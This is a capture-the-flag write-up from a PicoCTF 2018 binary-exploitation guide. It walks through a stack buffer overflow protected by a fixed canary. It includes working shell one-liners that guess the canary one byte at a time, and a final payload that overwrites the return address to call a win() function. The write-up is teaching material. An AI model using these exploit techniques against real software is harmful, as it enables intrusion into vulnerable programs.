PicoCTF 2018 - Buffer Overflow 3
Note: This article is part of our PicoCTF 2018 BinExp Guide.
Spot the Bug
In addition to the unchecked write into buf
, vuln()
has an extra trick up it’s sleeve this time around:
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
The program first sets the buffer global_canary
by reading 4 bytes from a file (not shown). It then copies those 4 bytes into a buffer at the end of the stack (canary
) at the beginning of the vuln()
function, and verifies that content of the buffer is still intact after reading an arbitrary number of bytes into buf
. This “mimics” code that the compiler would emit as stack protection, however instead of reading from a file, the compiler would use a new canary value at every execution.
Strategy
The big advantage we have here is the canary
value is exactly the same every time we execute the program. However, as far as we are concerned, it could be any random 4-byte (32 bit) value. That means there are 2^32 different possible values (0 through 4,294,967,296). The good news is if we can “guess” the right value, then the program will be unaware that we’ve overwritten the buffer, and we’ll be free to overwrite anything else on the stack, including the return address of the function.
Rather than brute forcing over 4 billion possibilities, maybe theres something else we can use to our advantage?
The trick is that the program explicitly asks for number of bytes to copy into the buffer. Therefore, you don’t have to guess the entire canary value in one shot, and you can instead only guess the first byte and leave the rest intact. Once you know the first byte, you can move on to the second byte and so on and so forth. You’ve essentially re-created the common movie trope where your spy-gadget cracks the code one digit at a time.
Since we can operate on a single byte at a time, we’ve reduced the search space from 4,294,967,296 guesses down to 4 guess of 256 values (4*256 = 1024). That’s a big improvement.
Background Info
First things first, let’s verify the stack layout of the vuln()
function, and see where buf
is relative to canary
and the return address of the function. Recall that you can use objdump -M intel -S ./vuln
to view the assembly code of a binary.
vuln:
push ebp ; preserve ebp
mov ebp,esp ; ebp points at preserved ebp value
sub esp,0x58
mov DWORD PTR [ebp-0xc],0x0 ; x = 0
mov eax,ds:0x804a058
mov DWORD PTR [ebp-0x10],eax ; memcpy(canary,global_canary,CANARY_SIZE);
; ...
mov eax,DWORD PTR [ebp-0x54]
sub esp,0x4
push eax ; count
lea eax,[ebp-0x30] ; buf
push eax
push 0x0 ; 0
call 80484f0 <read@plt> ; read(0,buf,count);
add esp,0x10
; ...
Looking at the above assembly code, we can deduce that canary
is at ebp-0x10
and buf
is at ebp-0x30
. Since buf
is 32 (0x20
) bytes, we see that canary immediately follows buf
in memory. After that, there are 12 bytes of padding before we get to the preserved value of ebp
on the stack (4 bytes), and after that is the return address.
lower addresses | ⇒ | ⇒ | ⇒ | higher addresses |
---|---|---|---|---|
buf[32] | canary[4] | padding[12] | <old ebp> | <return address> |
If you write 33 characters to buf
, then you would over-write the first byte of canary
. After the 4 bytes of canary
there are 16 more bytes before you start overwriting the return address. To completely overwrite the 4 bytes reserved for the return address, you would have to write a total of 56 bytes into buf
.
There is one more interesting thing we should dig up, and that is the address of the win()
function. When called, it will print out the flag.
$ readelf -s ./vuln | grep "win"
72: 080486eb 117 FUNC GLOBAL DEFAULT 14 win
In terms of how you should brute-force the canary bytes, you could use pwntools
to do this challenge, but sometimes when scripting like this I find bash easier to work with, particularly since our program will exit with an error code when we guess wrong, and exit normally when we guess right. This is how I would approach it:
$ for i in {0..255}; do python -c "print \"33\\n\" + \"U\"*32 + chr($i)" | ./vuln >/dev/null && echo "$i"; done
When run, the above script will print out the decimal equivalent for the first byte of canary
(it tries all 256 possibilities, but only echo
s the one value that doesn’t return an error code). Once you know the first byte, you add “ + chr(value
) +” into the string (after the U
s) and increment byte byte count (33 ⇒ 34). Repeat until you know the correct value of all 4 bytes of the canary.
The challenge is located at /problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e
. Head there now and see if you can exploit it to get the flag.
Exploitation
First up, you need to crack the value for the canary:
$ for i in {0..255}; do python -c "print \"33\\n\" + \"U\"*32 + chr($i)" | ./vuln >/dev/null && echo "$i"; done
60
$ for i in {0..255}; do python -c "print \"34\\n\" + \"U\"*32 + chr(60) + chr($i)" | ./vuln >/dev/null && echo "$i"; done
122
$ for i in {0..255}; do python -c "print \"35\\n\" + \"U\"*32 + chr(60) + chr(122) + chr($i)" | ./vuln >/dev/null && echo "$i"; done
79
$ for i in {0..255}; do python -c "print \"36\\n\" + \"U\"*32 + chr(60) + chr(122) + chr(79) + chr($i)" | ./vuln >/dev/null && echo "$i"; done
37
After some quick scripting and we’ve determined the canary to be the bytes [60,122,79,37]
. Recall that to exploit this program we will need to write a total of 56 bytes into buf
: 32 bytes, the above 4 byte canary
value, 16 bytes of padding, and a 4 byte return address (0x080486eb
written in little-endian form).
$ python -c "print \"56\\n\" + \"U\"*32 + chr(60) + chr(122) + chr(79) + chr(37) + \"U\"*16 + \"\\xeb\\x86\\x04\\x08\"" | ./vuln
How Many Bytes will You Write Into the Buffer?
> Input> Ok... Now Where's the Flag?
picoCTF{===REDACTED===}
Segmentation fault (core dumped)
Great Job! Hopefully you’ve learned a little something about stack canaries and how they work. Head back to the PicoCTF 2018 BinExp Guide to continue with the next challenge.